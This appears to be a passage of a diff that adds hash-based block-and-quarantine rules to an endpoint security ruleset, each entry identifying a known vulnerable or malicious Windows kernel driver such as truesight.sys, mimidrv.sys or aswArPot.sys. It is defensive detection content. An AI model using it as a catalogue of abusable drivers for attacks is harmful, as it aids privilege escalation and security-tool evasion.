+  "hl_testing_start_time": "2026-03-23T11:45:30.834533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e9c01d8717c3286edcd0fedc862570071be89947d2eb04eadd106a308a42709",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df816063-520d-5938-abd2-83299c06d939",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472752Z",
+  "creation_date": "2026-03-23T11:45:31.472756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472765Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e013f794babd59b9703ac2d199beb1d91a5c2908b30ba4ef60a6e4f12a5e8cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "df850812-e935-54cf-9aa4-752a31d006e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462764Z",
+  "creation_date": "2026-03-23T11:45:30.462767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462776Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af4f42197f5ce2d11993434725c81ecb6f54025110dedf56be8ffc0e775d9895",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfa4b45d-a628-5a53-b344-c7628f177973",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494510Z",
+  "creation_date": "2026-03-23T11:45:31.494512Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5406ab98add13a7d31161488cdf92e910caf97be72122167898a3d6115d73a4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfaffc60-7408-5454-ac5e-fa6f78673c1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472752Z",
+  "creation_date": "2026-03-23T11:45:30.472756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9695940f72e3ed5d7369fb32958e2146abd29d5895d91ccc22dfbcc9485b78b",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfb4f748-09ee-5f59-bd03-a308c2c388ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473396Z",
+  "creation_date": "2026-03-23T11:45:30.473399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473408Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b01ebea651ec7780d0fe88dd1b6c2500a36dacf85e3a4038c2ca1c5cb44c7b5d",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfb58b5d-6f99-53ad-8de0-eb76f2e54ae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494745Z",
+  "creation_date": "2026-03-23T11:45:31.494747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f05a2cf863c80be0a142bf81fd46e3d8964ff6fad8430cbac63469552179b14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfbf7a4f-6516-59f7-8992-09226ff8e35a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819865Z",
+  "creation_date": "2026-03-23T11:45:31.819884Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819893Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe490ce5dee1028d46673a2bafa96952a320b8f9fe988c8fefcf1a1fdcbbcd36",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfc61591-6b9d-5ed1-82e1-20c522b5ba47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981523Z",
+  "creation_date": "2026-03-23T11:45:29.981526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbebf6d463c2dbf61836b3eba09b643e1d79a02652a32482ca58894703b9addb",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfc82f78-9f9b-54af-8eaf-f02d52bcd90f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488708Z",
+  "creation_date": "2026-03-23T11:45:31.488710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7480a9e5a0339f755820432d7e14acfcd6f2d20012bbdd599f67d123b79c3fda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfca525e-287b-5827-b6cb-f83cada3cd32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151705Z",
+  "creation_date": "2026-03-23T11:45:31.151708Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ceb3473a819cb39ec750f1ce21c563b49b6df8d973644f758ca979cb96eb2e73",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfcb957e-8f0e-58a2-ae7e-8bca3bc1518d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986178Z",
+  "creation_date": "2026-03-23T11:45:29.986180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f20ac5dac9171857fc5791865458fdb6eac4fab837d7eabc42cb0a83cb522fc",
+  "comment": "Vulnerable Kernel Driver (aka pchunter.sys) [https://www.loldrivers.io/drivers/73290fcb-a0d7-481e-81a5-65a9859b50f5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfd5e0c9-88da-588c-b360-f4e513e87f47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465426Z",
+  "creation_date": "2026-03-23T11:45:30.465429Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d23ab46ad547e7eef409b40756aae9246fbdf545d13946f770643f19c715e80",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfd8be6c-24f7-570b-8dbb-c48f19b17fa5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140838Z",
+  "creation_date": "2026-03-23T11:45:31.140840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140846Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2503a559f90fd20870802a67b241d45e50c4f3be20b569a1c78bfe390ad1c4d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfdaa7a4-b2d6-5fe6-b20e-b5ad61ab82b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612735Z",
+  "creation_date": "2026-03-23T11:45:29.612737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "028aed97e90c5a231069a3fa0853c67ea5853c4bbfea6247c6f4b53509581d05",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dfdea1c0-e3ef-5240-a187-8db5ada278af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832586Z",
+  "creation_date": "2026-03-23T11:45:30.832588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "825756750ca654e55536cc9ac53c9c090f943723e1dc88c5d8179f0001eab105",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e013bc0d-6b3d-5666-aecd-ad906f0a9f7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969802Z",
+  "creation_date": "2026-03-23T11:45:29.969804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969809Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "968258fe6b307a7887465c7fb0a0b7b45f973b91deb8638af1428d247430d777",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e01990f0-d241-5db4-8cec-875462735a5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810521Z",
+  "creation_date": "2026-03-23T11:45:31.810524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09ed697c9fc0b66ddcb2839b6ba82088d5a9f7ce307ebab83524888606211d10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e020bb92-1ebe-55bf-8d3b-31e1f949fcfd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142018Z",
+  "creation_date": "2026-03-23T11:45:31.142020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142025Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d896a44696d3bc40219956db058238a269911a053eaf6eb4b43bf28efe1c07d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e022fcc0-e179-51c6-b7ee-2e31eaad95a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477804Z",
+  "creation_date": "2026-03-23T11:45:31.477808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbb597b01dd0323a6f59bf873635662802971080d9fb74b1d5dcfe86ad1d09a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e02381bc-a11f-5e6a-939d-0389175edc40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822936Z",
+  "creation_date": "2026-03-23T11:45:30.822938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822943Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6208a115fc72bc9014c7debb188c473c41f64e7ffeb3efbd31af6c48c0726702",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e028b319-84c1-57ad-a8fe-9cac6e110c29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493275Z",
+  "creation_date": "2026-03-23T11:45:31.493277Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493283Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea1a63aa063f1cd46cccd934fb3a6b5c0cf7e37bc79ca53eb6d5a39eefcfcd6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e037fa8e-345e-5606-b4b4-6d8fb0925e1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486668Z",
+  "creation_date": "2026-03-23T11:45:31.486671Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12060b757db0d78a2c6603930b6b08e79a90937f5e7d81ea0086b86fb0155fb9",
